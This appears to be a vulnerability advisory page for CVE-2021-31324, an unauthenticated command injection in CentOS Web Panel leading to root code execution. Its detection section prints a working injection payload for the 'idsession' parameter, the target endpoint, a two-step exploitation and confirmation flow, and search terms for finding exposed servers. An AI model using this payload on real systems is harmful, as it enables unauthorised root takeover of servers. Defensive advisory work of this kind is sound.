CVE-2021-31324: The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution.

PriorityP179critical9.8CVSS 3.1

AVNACLPRNUINSUCHIHAH

EXPLOIT

EPSS

34.06%

98.2th percentile

The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution.

Detection & IOCsextracted from sources · hover to see the quote

url/login/index.php?acc=newpass↗

otherpass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a%27+UNION+SELECT%27a%27%2C%27b%27%2C%27c%27%2C%27YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO2lkOyNgfHxhfHxifHxjfHxk%27%2C%27e%27%2C%27f%27--+p

cookiecwpsrv

→Target endpoint is POST /login/index.php?acc=newpass with Content-Type: application/x-www-form-urlencoded; injection is delivered via the 'idsession' POST parameter using a UNION-based SQL/command injection payload.
→Confirm CentOS Web Panel (cwpsrv) is present before exploitation by checking for the 'cwpsrv' string in HTTP response headers.
→Successful RCE is confirmed by matching 'uid=[0-9]+.*gid=[0-9]+.*' in the HTTP response body, indicating output of the 'id' command executed as root.
→Shodan and FOFA can be used to identify exposed CentOS Web Panel instances via the title 'Login | Control WebPanel'.

·The vulnerability is in the unprivileged user portal; exploitation requires no authentication (PR:N, UI:N) and results in root-level RCE.
·The exploit uses a two-step flow: first confirm cwpsrv header presence, then deliver the injection payload — both HTTP steps must succeed for confirmed exploitation.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.